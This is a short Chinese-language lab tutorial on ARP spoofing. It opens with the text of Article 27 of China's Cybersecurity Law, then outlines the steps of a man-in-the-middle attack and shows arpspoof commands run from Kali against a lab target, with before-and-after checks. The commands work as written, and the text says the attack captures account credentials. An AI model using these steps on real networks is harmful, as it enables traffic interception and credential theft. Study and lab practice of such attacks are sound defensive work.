《中华人民共和国网络安全法》 第二十七条 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
具体攻击实现 具体的中间人攻击,大体上可以分为以下几个步骤: 1. 对目标主机进行ARP欺骗,声称自己是网关。 2. 转发目标的NAT数据到网关,维持目标的外出数据。 3. 对网关进行ARP欺骗,声称自己是目标主机。 4. 转发网关的NAT数据到目标主机,维持目标的接收数据。 5. 监听劫持或者修改目标的进入和外出数据,从而实现攻击。
靶机:192.168.1.11 网关 192.168.1.1 网关 MAC : 5Cfc-6e2f-6b10
kali: 192.168.1.10 MAC:000c-292e-0424
arpspoof 是一款进行arp欺骗的工具,攻击者通过毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。
步骤1、安装命令,apt-get install dsniff
攻击命令格式:arpspoof -i 网卡 -t 目标ip 目标网关
攻击前测试:ping 8.8.8.8 (正常)
开始攻击:arpspoof -i eth0 -t 192.168.1.11 192.168.1.1
攻击后测试:ping 8.8.8.8 (异常)
查看arp 看看网关MAC地址 (已经变成了 kali的MAC)
|